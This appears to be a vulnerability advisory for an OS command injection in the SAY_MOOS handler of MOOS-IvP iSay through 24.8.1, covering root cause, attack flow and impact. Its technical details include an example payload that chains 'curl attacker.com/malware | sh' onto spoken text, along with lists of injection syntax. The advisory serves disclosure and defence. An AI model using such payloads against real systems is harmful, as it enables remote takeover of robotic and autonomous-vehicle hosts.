Description

MOOS-IvP iSay through 24.8.1 contains a remote code execution vulnerability in the SAY_MOOS variable handler that passes unsanitized text to a shell command. Attackers can publish SAY_MOOS messages containing backticks or command substitution syntax to execute arbitrary commands as the iSay process user.

Executive Summary

Technical Details

Mitigations

References

Additional Metadata

{
  "score": "9.8",
  "pubDate": "2026-09-03T23:17:21.337Z",
  "pubdate": "2026-09-03T23:17:21.337Z",
  "executiveSummary": "MOOS-IvP iSay versions through 24.8.1 are susceptible to a critical remote code execution vulnerability originating from improper input validation within the SAY_MOOS variable handler.\nThe vulnerability allows an unauthenticated attacker to inject malicious shell commands into the MOOS message system, which are subsequently executed with the privileges of the iSay process.\nBy crafting a SAY_MOOS message containing command substitution syntax—such as backticks or shell operators—an attacker can gain arbitrary code execution on the underlying host system.\nThis flaw represents a significant security risk, as it bypasses intended application logic to provide system-level access to the process user.\nSuccessful exploitation requires the ability to publish messages to the MOOS community, common in distributed robotics or autonomous vehicle middleware deployments.\nThe impact includes full compromise of the iSay process, potential privilege escalation, lateral movement within the MOOS-IvP community, and unauthorized exfiltration of sensitive telemetry or command-and-control data.",
  "technicalDetails": "The root cause of this vulnerability lies in the insecure handling of the SAY_MOOS variable, which the iSay application processes without adequate sanitization or boundary checking. When the application receives a message via the MOOS communications middleware, the handler responsible for SAY_MOOS passes the string content directly into an interface that interfaces with the system shell.\nThe vulnerability is characterized as a classic OS Command Injection. In many implementations, developers use system-level calls (such as system() or popen()) to trigger speech synthesis or audio playback utilities using the content of the MOOS variable. Because the application fails to escape shell metacharacters, it interprets the payload as part of the command execution sequence rather than as passive data.\nAn attacker can exploit this by publishing a specially crafted string to the MOOS database. By embedding command substitution syntax, such as $(command), `command`, or shell chaining operators like && or ;, the attacker terminates the intended command and initiates a secondary, arbitrary command of their choosing.\nThe attack flow follows these steps: 1) The attacker monitors or joins the MOOS community where the iSay process is active. 2) The attacker publishes a SAY_MOOS variable update containing an malicious payload (e.g., 'text_to_speak; curl attacker.com/malware | sh'). 3) The iSay process, subscribed to the SAY_MOOS variable, receives the malicious string and pushes it into the underlying shell execution context. 4) The operating system evaluates the entire string, executing the attacker's payload with the permissions assigned to the iSay process.\nThis flaw is persistent across versions through 24.8.1. Given the nature of MOOS-IvP environments, which often operate over network-accessible ports for inter-process communication, this vulnerability is highly exploitable if the MOOS database is exposed. The post-exploitation impact is extensive, granting the adversary the ability to execute shell scripts, modify configuration files, or deploy persistent backdoors within the autonomous system's runtime environment."
}